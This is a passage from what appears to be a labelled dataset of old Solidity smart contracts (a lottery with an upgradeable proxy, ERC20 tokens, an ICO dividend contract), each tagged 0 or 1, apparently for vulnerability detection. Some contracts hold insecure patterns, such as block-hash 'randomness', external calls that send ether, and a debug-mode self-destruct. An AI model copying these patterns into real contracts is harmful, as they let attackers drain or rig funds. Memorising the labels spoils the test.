token.setAllowTransfers(true);
} else if(now >= SALE_END_TIME) {
fund.enableCrowdsaleRefund();
reservationFund.onCrowdsaleEnd();
bnbRefundEnabled = true;
}
token.finishIssuance();
}
function refundBNBContributor() public {
require(bnbRefundEnabled);
require(bnbContributions[msg.sender] > 0);
uint256 amount = bnbContributions[msg.sender];
bnbContributions[msg.sender] = 0;
bnbToken.transfer(msg.sender, amount);
token.destroy(msg.sender, token.balanceOf(msg.sender));
}
} | 0 |
pragma solidity ^0.4.24;
library DataSet {
enum RoundState {
UNKNOWN,
STARTED,
STOPPED,
DRAWN,
ASSIGNED
}
struct Round {
uint256 count;
uint256 timestamp;
uint256 blockNumber;
uint256 drawBlockNumber;
RoundState state;
uint256 pond;
uint256 winningNumber;
address winner;
}
}
library NumberCompressor {
uint256 constant private MASK = 16777215;
function encode(uint256 _begin, uint256 _end, uint256 _ceiling) internal pure returns (uint256)
{
require(_begin <= _end && _end < _ceiling, "number is invalid");
return _begin << 24 | _end;
}
function decode(uint256 _value) internal pure returns (uint256, uint256)
{
uint256 end = _value & MASK;
uint256 begin = (_value >> 24) & MASK;
return (begin, end);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
}
contract Events {
event onActivate
(
address indexed addr,
uint256 timestamp,
uint256 bonus,
uint256 issued_numbers
);
event onDraw
(
uint256 timestatmp,
uint256 blockNumber,
uint256 roundID,
uint256 winningNumber
);
event onStartRunnd
(
uint256 timestamp,
uint256 roundID
);
event onBet
(
address indexed addr,
uint256 timestamp,
uint256 roundID,
uint256 beginNumber,
uint256 endNumber
);
event onAssign
(
address indexed operatorAddr,
uint256 timestatmp,
address indexed winnerAddr,
uint256 roundID,
uint256 pond,
uint256 bonus,
uint256 fund
);
event onRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed playerAddr,
uint256 count,
uint256 amount
);
event onLastRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed platformAddr,
uint256 amout
);
}
contract Winner is Events {
using SafeMath for *;
uint256 constant private MIN_BET = 0.01 ether;
uint256 constant private PRICE = 0.01 ether;
uint256 constant private MAX_DURATION = 30 days;
uint256 constant private REFUND_RATE = 90;
address constant private platform = 0x0db31B63F31e25Eea5739af77bd5611ac248aaa6;
uint256 private curRoundID;
uint256 private drawnRoundID;
uint256 private drawnBlockNumber;
uint256 private bonus;
uint256 private issued_numbers;
bool private initialized;
mapping (uint256 => DataSet.Round) private rounds;
mapping (uint256 => mapping(address => uint256[])) private playerNumbers;
mapping (address => bool) private administrators;
constructor() public {
}
modifier isAdmin() {
require(administrators[msg.sender], "only administrators");
_;
}
modifier isInitialized () {
require(initialized == true, "game is inactive");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry, humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= MIN_BET, "the bet is too small");
require(_eth <= PRICE.mul(issued_numbers).mul(2), "the bet is too big");
_;
}
function() public payable isHuman() isInitialized() isWithinLimits(msg.value)
{
bet(msg.value);
}
function initiate(uint256 _bonus, uint256 _issued_numbers) public isHuman()
{
require(initialized == false, "it has been initialized already");
require(_bonus > 0, "bonus is invalid");
require(_issued_numbers > 0, "issued_numbers is invalid");
initialized = true;
administrators[msg.sender] = true;
bonus = _bonus;
issued_numbers = _issued_numbers;
emit onActivate(msg.sender, block.timestamp, bonus, issued_numbers);
curRoundID = 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
drawnRoundID = 0;
emit onStartRunnd(block.timestamp, curRoundID);
}
function drawNumber() private view returns(uint256) {
return uint256(keccak256(abi.encodePacked(
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 1))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 2))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 3))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 4))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 5))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 6))))) / (block.timestamp))
))) % issued_numbers;
}
function bet(uint256 _amount) private
{
if (block.number != drawnBlockNumber
&& curRoundID > drawnRoundID
&& rounds[drawnRoundID + 1].count == issued_numbers
&& block.number >= rounds[drawnRoundID + 1].blockNumber + 7)
{
drawnBlockNumber = block.number;
drawnRoundID += 1;
rounds[drawnRoundID].winningNumber = drawNumber();
rounds[drawnRoundID].state = DataSet.RoundState.DRAWN;
rounds[drawnRoundID].drawBlockNumber = drawnBlockNumber;
emit onDraw(block.timestamp, drawnBlockNumber, drawnRoundID, rounds[drawnRoundID].winningNumber);
}
uint256 amount = _amount;
while (true)
{
uint256 max = issued_numbers - rounds[curRoundID].count;
uint256 available = amount.div(PRICE).min(max);
if (available == 0)
{
if (amount != 0)
{
rounds[curRoundID].pond += amount;
}
break;
}
uint256[] storage numbers = playerNumbers[curRoundID][msg.sender];
uint256 begin = rounds[curRoundID].count;
uint256 end = begin + available - 1;
uint256 compressedNumber = NumberCompressor.encode(begin, end, issued_numbers);
numbers.push(compressedNumber);
rounds[curRoundID].pond += available.mul(PRICE);
rounds[curRoundID].count += available;
amount -= available.mul(PRICE);
emit onBet(msg.sender, block.timestamp, curRoundID, begin, end);
if (rounds[curRoundID].count == issued_numbers)
{
rounds[curRoundID].blockNumber = block.number;
rounds[curRoundID].state = DataSet.RoundState.STOPPED;
curRoundID += 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
emit onStartRunnd(block.timestamp, curRoundID);
}
}
}
function assign(uint256 _roundID) external isHuman() isInitialized()
{
assign2(msg.sender, _roundID);
}
function assign2(address _player, uint256 _roundID) public isHuman() isInitialized()
{
require(rounds[_roundID].state == DataSet.RoundState.DRAWN, "it's not time for assigning");
uint256[] memory numbers = playerNumbers[_roundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 targetNumber = rounds[_roundID].winningNumber;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 start, uint256 end) = NumberCompressor.decode(numbers[i]);
if (targetNumber >= start && targetNumber <= end)
{
uint256 fund = rounds[_roundID].pond.sub(bonus);
_player.transfer(bonus);
platform.transfer(fund);
rounds[_roundID].state = DataSet.RoundState.ASSIGNED;
rounds[_roundID].winner = _player;
emit onAssign(msg.sender, block.timestamp, _player, _roundID, rounds[_roundID].pond, bonus, fund);
break;
}
}
}
function refund() external isHuman() isInitialized()
{
refund2(msg.sender);
}
function refund2(address _player) public isInitialized() isHuman()
{
require(block.timestamp.sub(rounds[curRoundID].timestamp) >= MAX_DURATION, "it's not time for refunding");
uint256[] storage numbers = playerNumbers[curRoundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 count = 0;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 begin, uint256 end) = NumberCompressor.decode(numbers[i]);
count += (end - begin + 1);
}
uint256 amount = count.mul(PRICE).mul(REFUND_RATE).div(100);
rounds[curRoundID].pond = rounds[curRoundID].pond.sub(amount);
_player.transfer(amount);
emit onRefund(msg.sender, block.timestamp, _player, count, amount);
rounds[curRoundID].count -= count;
if (rounds[curRoundID].count == 0)
{
uint256 last = rounds[curRoundID].pond;
platform.transfer(last);
rounds[curRoundID].pond = 0;
emit onLastRefund(msg.sender, block.timestamp, platform, last);
}
}
function getPlayerRoundNumbers(uint256 _roundID, address _palyer) public view returns(uint256[])
{
return playerNumbers[_roundID][_palyer];
}
function getRoundInfo(uint256 _roundID) public view
returns(uint256, uint256, uint256, uint256, uint256, uint256, address)
{
return (
rounds[_roundID].count,
rounds[_roundID].blockNumber,
rounds[_roundID].drawBlockNumber,
uint256(rounds[_roundID].state),
rounds[_roundID].pond,
rounds[_roundID].winningNumber,
rounds[_roundID].winner
);
}
function gameInfo() public view
returns(bool, uint256, uint256, uint256, uint256)
{
return (
initialized,
bonus,
issued_numbers,
curRoundID,
drawnRoundID
);
}
}
contract Proxy {
function implementation() public view returns (address);
function () public payable {
address _impl = implementation();
require(_impl != address(0), "address invalid");
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 private constant implementationPosition = keccak256("you are the lucky man.proxy");
constructor() public {}
function implementation() public view returns (address impl) {
bytes32 position = implementationPosition;
assembly {
impl := sload(position)
}
}
function setImplementation(address newImplementation) internal {
bytes32 position = implementationPosition;
assembly {
sstore(position, newImplementation)
}
}
function _upgradeTo(address newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != newImplementation, "new address is the same");
setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
bytes32 private constant proxyOwnerPosition = keccak256("you are the lucky man.proxy.owner");
constructor() public {
setUpgradeabilityOwner(msg.sender);
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner(), "owner only");
_;
}
function proxyOwner() public view returns (address owner) {
bytes32 position = proxyOwnerPosition;
assembly {
owner := sload(position)
}
}
function setUpgradeabilityOwner(address newProxyOwner) internal {
bytes32 position = proxyOwnerPosition;
assembly {
sstore(position, newProxyOwner)
}
}
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0), "address is invalid");
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
function upgradeToAndCall(address implementation, bytes data) public payable onlyProxyOwner {
upgradeTo(implementation);
require(address(this).call.value(msg.value)(data), "data is invalid");
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
address public owner;
bool public transferable = true;
mapping(address => uint) balances;
mapping (address => bool) public frozenAccount;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
modifier unFrozenAccount{
require(!frozenAccount[msg.sender]);
_;
}
modifier onlyOwner {
if (owner == msg.sender) {
_;
} else {
InvalidCaller(msg.sender);
throw;
}
}
modifier onlyTransferable {
if (transferable) {
_;
} else {
LiquidityAlarm("The liquidity is switched off");
throw;
}
}
event FrozenFunds(address target, bool frozen);
event InvalidCaller(address caller);
event Burn(address caller, uint value);
event OwnershipTransferred(address indexed from, address indexed to);
event InvalidAccount(address indexed addr, bytes msg);
event LiquidityAlarm(bytes msg);
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) unFrozenAccount onlyTransferable {
if (frozenAccount[_to]) {
InvalidAccount(_to, "The receiver account is frozen");
} else {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
}
function balanceOf(address _owner) view returns (uint balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target]=freeze;
FrozenFunds(target, freeze);
}
function accountFrozenStatus(address target) view returns (bool frozen) {
return frozenAccount[target];
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
address oldOwner=owner;
owner = newOwner;
OwnershipTransferred(oldOwner, owner);
}
}
function switchLiquidity (bool _transferable) onlyOwner returns (bool success) {
transferable=_transferable;
return true;
}
function liquidityStatus () view returns (bool _transferable) {
return transferable;
}
}
contract StandardToken is BasicToken {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) unFrozenAccount onlyTransferable{
var _allowance = allowed[_from][msg.sender];
require(!frozenAccount[_from]&&!frozenAccount[_to]);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) unFrozenAccount {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) view returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract ZeusToken is StandardToken {
string public name = "Zeus";
string public symbol = "ZSL";
uint public decimals = 18;
function ZeusToken() {
owner = msg.sender;
totalSupply = 0.2 * 10 ** 26;
balances[owner] = totalSupply;
}
function () public payable {
revert();
}
} | 1 |
pragma solidity ^0.4.8;
contract iE4RowEscrow {
function getNumGamesStarted() constant returns (int ngames);
}
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract E4RowRewards
{
function checkDividends(address _addr) constant returns(uint _amount);
function withdrawDividends() public returns (uint namount);
}
contract E4Token is Token, E4RowRewards {
event StatEvent(string msg);
event StatEventI(string msg, uint val);
enum SettingStateValue {debug, release, lockedRelease}
enum IcoStatusValue {anouncement, saleOpen, saleClosed, failed, succeeded}
struct tokenAccount {
bool alloced;
uint tokens;
uint balance;
}
address developers;
address public owner;
address founderOrg;
address auxPartner;
address e4_partner;
mapping (address => tokenAccount) holderAccounts ;
mapping (uint => address) holderIndexes ;
uint numAccounts;
uint partnerCredits;
mapping (address => mapping (address => uint256)) allowed;
uint maxMintableTokens;
uint minIcoTokenGoal;
uint minUsageGoal;
uint public tokenPrice;
uint public payoutThreshold;
uint totalTokenFundsReceived;
uint public totalTokensMinted;
uint public holdoverBalance;
int public payoutBalance;
int prOrigPayoutBal;
uint prOrigTokensMint;
uint public curPayoutId;
uint public lastPayoutIndex;
uint public maxPaysPer;
uint public minPayInterval;
uint fundingStart;
uint fundingDeadline;
uint usageDeadline;
uint public lastPayoutTime;
uint vestTime;
uint numDevTokens;
bool developersGranted;
uint remunerationStage;
uint public remunerationBalance;
uint auxPartnerBalance;
uint rmGas;
uint rwGas;
uint rfGas;
IcoStatusValue icoStatus;
SettingStateValue public settingsState;
function E4Token()
{
owner = msg.sender;
developers = msg.sender;
}
function applySettings(SettingStateValue qState, uint _saleStart, uint _saleEnd, uint _usageEnd, uint _minUsage, uint _tokGoal, uint _maxMintable, uint _threshold, uint _price, uint _mpp, uint _mpi )
{
if (msg.sender != owner)
return;
payoutThreshold = _threshold;
maxPaysPer = _mpp;
minPayInterval = _mpi;
if (settingsState == SettingStateValue.lockedRelease)
return;
settingsState = qState;
if (qState == SettingStateValue.lockedRelease) {
StatEvent("Locking!");
return;
}
icoStatus = IcoStatusValue.anouncement;
rmGas = 100000;
rwGas = 10000;
rfGas = 10000;
if (totalTokensMinted > 0) {
for (uint i = 0; i < numAccounts; i++ ) {
address a = holderIndexes[i];
if (a != address(0)) {
holderAccounts[a].tokens = 0;
holderAccounts[a].balance = 0;
}
}
}
totalTokensMinted = 0;
totalTokenFundsReceived = 0;
partnerCredits = 0;
fundingStart = _saleStart;
fundingDeadline = _saleEnd;
usageDeadline = _usageEnd;
minUsageGoal = _minUsage;
minIcoTokenGoal = _tokGoal;
maxMintableTokens = _maxMintable;
tokenPrice = _price;
vestTime = fundingStart + (365 days);
numDevTokens = 0;
holdoverBalance = 0;
payoutBalance = 0;
curPayoutId = 1;
lastPayoutIndex = 0;
remunerationStage = 0;
remunerationBalance = 0;
auxPartnerBalance = 0;
developersGranted = false;
lastPayoutTime = 0;
if (this.balance > 0) {
if (!owner.call.gas(rfGas).value(this.balance)())
StatEvent("ERROR!");
}
StatEvent("ok");
}
function getPayIdAndHeld(uint _tokHeld) internal returns (uint _payId, uint _held)
{
_payId = (_tokHeld / (2 ** 48)) & 0xffff;
_held = _tokHeld & 0xffffffffffff;
}
function getHeld(uint _tokHeld) internal returns (uint _held)
{
_held = _tokHeld & 0xffffffffffff;
}
function addAccount(address _addr) internal {
holderAccounts[_addr].alloced = true;
holderAccounts[_addr].tokens = (curPayoutId * (2 ** 48));
holderIndexes[numAccounts++] = _addr;
}
function totalSupply() constant returns (uint256 supply)
{
if (icoStatus == IcoStatusValue.saleOpen
|| icoStatus == IcoStatusValue.anouncement)
supply = maxMintableTokens;
else
supply = totalTokensMinted;
}
function transfer(address _to, uint256 _value) returns (bool success) {
if ((msg.sender == developers)
&& (now < vestTime)) {
return false;
}
var (pidFrom, heldFrom) = getPayIdAndHeld(holderAccounts[msg.sender].tokens);
if (heldFrom >= _value && _value > 0) {
holderAccounts[msg.sender].tokens -= _value;
if (!holderAccounts[_to].alloced) {
addAccount(_to);
}
uint newHeld = _value + getHeld(holderAccounts[_to].tokens);
if (icoStatus == IcoStatusValue.saleOpen)
pidFrom = curPayoutId;
holderAccounts[_to].tokens = newHeld | (pidFrom * (2 ** 48));
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if ((_from == developers)
&& (now < vestTime)) {
return false;
}
var (pidFrom, heldFrom) = getPayIdAndHeld(holderAccounts[_from].tokens);
if (heldFrom >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
holderAccounts[_from].tokens -= _value;
if (!holderAccounts[_to].alloced)
addAccount(_to);
uint newHeld = _value + getHeld(holderAccounts[_to].tokens);
if (icoStatus == IcoStatusValue.saleOpen)
pidFrom = curPayoutId;
holderAccounts[_to].tokens = newHeld | (pidFrom * (2 ** 48));
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
if (holderAccounts[_owner].alloced) {
balance = getHeld(holderAccounts[_owner].tokens);
}
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () payable {
if (msg.sender == e4_partner) {
feePayment();
} else {
purchaseToken();
}
}
function purchaseToken() payable {
uint nvalue = msg.value;
address npurchaser = msg.sender;
if (nvalue < tokenPrice)
throw;
uint qty = nvalue/tokenPrice;
updateIcoStatus();
if (icoStatus != IcoStatusValue.saleOpen)
throw;
if (totalTokensMinted + qty > maxMintableTokens)
throw;
if (!holderAccounts[npurchaser].alloced)
addAccount(npurchaser);
uint newHeld = qty + getHeld(holderAccounts[npurchaser].tokens);
holderAccounts[npurchaser].tokens = newHeld | (curPayoutId * (2 ** 48));
totalTokensMinted += qty;
totalTokenFundsReceived += nvalue;
if (totalTokensMinted == maxMintableTokens) {
icoStatus = IcoStatusValue.saleClosed;
doDeveloperGrant();
StatEventI("Purchased,Granted", qty);
} else
StatEventI("Purchased", qty);
}
function feePayment() payable
{
if (msg.sender != e4_partner) {
if (msg.value > 0)
holdoverBalance += msg.value;
StatEvent("forbidden");
return;
}
uint nfvalue = msg.value;
updateIcoStatus();
holdoverBalance += nfvalue;
partnerCredits += nfvalue;
StatEventI("Payment", nfvalue);
if (holdoverBalance > payoutThreshold
|| payoutBalance > 0)
doPayout(maxPaysPer);
}
function setE4RowPartner(address _addr) public
{
if (msg.sender == owner) {
if ((e4_partner == address(0)) || (settingsState == SettingStateValue.debug)) {
e4_partner = _addr;
partnerCredits = 0;
} else {
StatEvent("Already Set");
}
}
}
function getNumTokensPurchased() constant returns(uint _purchased)
{
_purchased = totalTokensMinted-numDevTokens;
}
function getNumGames() constant returns(uint _games)
{
if (e4_partner != address(0)) {
iE4RowEscrow pe4 = iE4RowEscrow(e4_partner);
_games = uint(pe4.getNumGamesStarted());
}
}
function getSpecialAddresses() constant returns (address _fndr, address _aux, address _dev, address _e4)
{
_fndr = founderOrg;
_aux = auxPartner;
_dev = developers;
_e4 = e4_partner;
}
function updateIcoStatus() public
{
if (icoStatus == IcoStatusValue.succeeded
|| icoStatus == IcoStatusValue.failed)
return;
else if (icoStatus == IcoStatusValue.anouncement) {
if (now > fundingStart && now <= fundingDeadline) {
icoStatus = IcoStatusValue.saleOpen;
} else if (now > fundingDeadline) {
icoStatus = IcoStatusValue.saleClosed;
}
} else {
uint numP = getNumTokensPurchased();
uint numG = getNumGames();
if ((now > fundingDeadline && numP < minIcoTokenGoal)
|| (now > usageDeadline && numG < minUsageGoal)) {
icoStatus = IcoStatusValue.failed;
} else if ((now > fundingDeadline)
&& (numP >= minIcoTokenGoal)
&& (numG >= minUsageGoal)) {
icoStatus = IcoStatusValue.succeeded;
}
if (icoStatus == IcoStatusValue.saleOpen
&& ((numP >= maxMintableTokens)
|| (now > fundingDeadline))) {
icoStatus = IcoStatusValue.saleClosed;
}
}
if (!developersGranted
&& icoStatus != IcoStatusValue.saleOpen
&& icoStatus != IcoStatusValue.anouncement
&& getNumTokensPurchased() >= minIcoTokenGoal) {
doDeveloperGrant();
}
}
function requestRefund()
{
address nrequester = msg.sender;
updateIcoStatus();
uint ntokens = getHeld(holderAccounts[nrequester].tokens);
if (icoStatus != IcoStatusValue.failed)
StatEvent("No Refund");
else if (ntokens == 0)
StatEvent("No Tokens");
else {
uint nrefund = ntokens * tokenPrice;
if (getNumTokensPurchased() >= minIcoTokenGoal)
nrefund -= (nrefund /10);
if (!holderAccounts[developers].alloced)
addAccount(developers);
holderAccounts[developers].tokens += ntokens;
holderAccounts[nrequester].tokens = 0;
if (holderAccounts[nrequester].balance > 0) {
holderAccounts[developers].balance += holderAccounts[nrequester].balance;
holderAccounts[nrequester].balance = 0;
}
if (!nrequester.call.gas(rfGas).value(nrefund)())
throw;
}
}
function doPayout(uint _numPays) internal
{
if (totalTokensMinted == 0)
return;
if ((holdoverBalance > 0)
&& (payoutBalance == 0)
&& (now > (lastPayoutTime+minPayInterval))) {
curPayoutId++;
if (curPayoutId >= 32768)
curPayoutId = 1;
lastPayoutTime = now;
payoutBalance = int(holdoverBalance);
prOrigPayoutBal = payoutBalance;
prOrigTokensMint = totalTokensMinted;
holdoverBalance = 0;
lastPayoutIndex = 0;
StatEventI("StartRun", uint(curPayoutId));
} else if (payoutBalance > 0) {
uint nAmount;
uint nPerTokDistrib = uint(prOrigPayoutBal)/prOrigTokensMint;
uint paids = 0;
uint i;
for (i = lastPayoutIndex; (paids < _numPays) && (i < numAccounts) && (payoutBalance > 0); i++ ) {
address a = holderIndexes[i];
if (a == address(0)) {
continue;
}
var (pid, held) = getPayIdAndHeld(holderAccounts[a].tokens);
if ((held > 0) && (pid != curPayoutId)) {
nAmount = nPerTokDistrib * held;
if (int(nAmount) <= payoutBalance){
holderAccounts[a].balance += nAmount;
holderAccounts[a].tokens = (curPayoutId * (2 ** 48)) | held;
payoutBalance -= int(nAmount);
paids++;
}
}
}
lastPayoutIndex = i;
if (lastPayoutIndex >= numAccounts || payoutBalance <= 0) {
lastPayoutIndex = 0;
if (payoutBalance > 0)
holdoverBalance += uint(payoutBalance);
payoutBalance = 0;
StatEventI("RunComplete", uint(prOrigPayoutBal) );
} else {
StatEventI("PayRun", paids );
}
}
}
function withdrawDividends() public returns (uint _amount)
{
if (holderAccounts[msg.sender].balance == 0) {
StatEvent("0 Balance");
return;
} else {
if ((msg.sender == developers)
&& (now < vestTime)) {
return;
}
_amount = holderAccounts[msg.sender].balance;
holderAccounts[msg.sender].balance = 0;
if (!msg.sender.call.gas(rwGas).value(_amount)())
throw;
}
}
function setOpGas(uint _rm, uint _rf, uint _rw)
{
if (msg.sender != owner && msg.sender != developers) {
return;
} else {
rmGas = _rm;
rfGas = _rf;
rwGas = _rw;
}
}
function getOpGas() constant returns (uint _rm, uint _rf, uint _rw)
{
_rm = rmGas;
_rf = rfGas;
_rw = rwGas;
}
function checkDividends(address _addr) constant returns(uint _amount)
{
if (holderAccounts[_addr].alloced)
_amount = holderAccounts[_addr].balance;
}
function icoCheckup() public
{
if (msg.sender != owner && msg.sender != developers)
throw;
uint nmsgmask;
if (icoStatus == IcoStatusValue.saleClosed) {
if ((getNumTokensPurchased() >= minIcoTokenGoal)
&& (remunerationStage == 0 )) {
remunerationStage = 1;
remunerationBalance = (totalTokenFundsReceived/100)*9;
auxPartnerBalance = (totalTokenFundsReceived/100);
nmsgmask |= 1;
}
}
if (icoStatus == IcoStatusValue.succeeded) {
if (remunerationStage == 0 ) {
remunerationStage = 1;
remunerationBalance = (totalTokenFundsReceived/100)*9;
auxPartnerBalance = (totalTokenFundsReceived/100);
nmsgmask |= 4;
}
if (remunerationStage == 1) {
remunerationStage = 2;
remunerationBalance += totalTokenFundsReceived - (totalTokenFundsReceived/10);
nmsgmask |= 8;
}
}
uint ntmp;
if (remunerationBalance > 0) {
ntmp = remunerationBalance;
remunerationBalance = 0;
if (!founderOrg.call.gas(rmGas).value(ntmp)()) {
remunerationBalance = ntmp;
nmsgmask |= 32;
} else {
nmsgmask |= 64;
}
} else if (auxPartnerBalance > 0) {
ntmp = auxPartnerBalance;
auxPartnerBalance = 0;
if (!auxPartner.call.gas(rmGas).value(ntmp)()) {
auxPartnerBalance = ntmp;
nmsgmask |= 128;
} else {
nmsgmask |= 256;
}
}
StatEventI("ico-checkup", nmsgmask);
}
function changeOwner(address _addr)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
owner = _addr;
}
function changeDevevoperAccont(address _addr)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
developers = _addr;
}
function changeFounder(address _addr)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
founderOrg = _addr;
}
function changeAuxPartner(address _aux)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
auxPartner = _aux;
}
function haraKiri()
{
if (settingsState != SettingStateValue.debug)
throw;
if (msg.sender != owner)
throw;
suicide(developers);
}
function getIcoInfo() constant returns(IcoStatusValue _status, uint _saleStart, uint _saleEnd, uint _usageEnd, uint _saleGoal, uint _usageGoal, uint _sold, uint _used, uint _funds, uint _credits, uint _remuStage, uint _vest)
{
_status = icoStatus;
_saleStart = fundingStart;
_saleEnd = fundingDeadline;
_usageEnd = usageDeadline;
_vest = vestTime;
_saleGoal = minIcoTokenGoal;
_usageGoal = minUsageGoal;
_sold = getNumTokensPurchased();
_used = getNumGames();
_funds = totalTokenFundsReceived;
_credits = partnerCredits;
_remuStage = remunerationStage;
}
function flushDividends(uint _numPays)
{
if ((_numPays == 0) || (_numPays > 1000)) {
StatEvent("Invalid.");
} else if (holdoverBalance > 0 || payoutBalance > 0) {
doPayout(_numPays);
} else {
StatEvent("Nothing to do.");
}
}
function doDeveloperGrant() internal
{
if (!developersGranted) {
developersGranted = true;
numDevTokens = (totalTokensMinted * 15)/100;
totalTokensMinted += numDevTokens;
if (!holderAccounts[developers].alloced)
addAccount(developers);
uint newHeld = getHeld(holderAccounts[developers].tokens) + numDevTokens;
holderAccounts[developers].tokens = newHeld | (curPayoutId * (2 ** 48));
}
}
} | 0 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
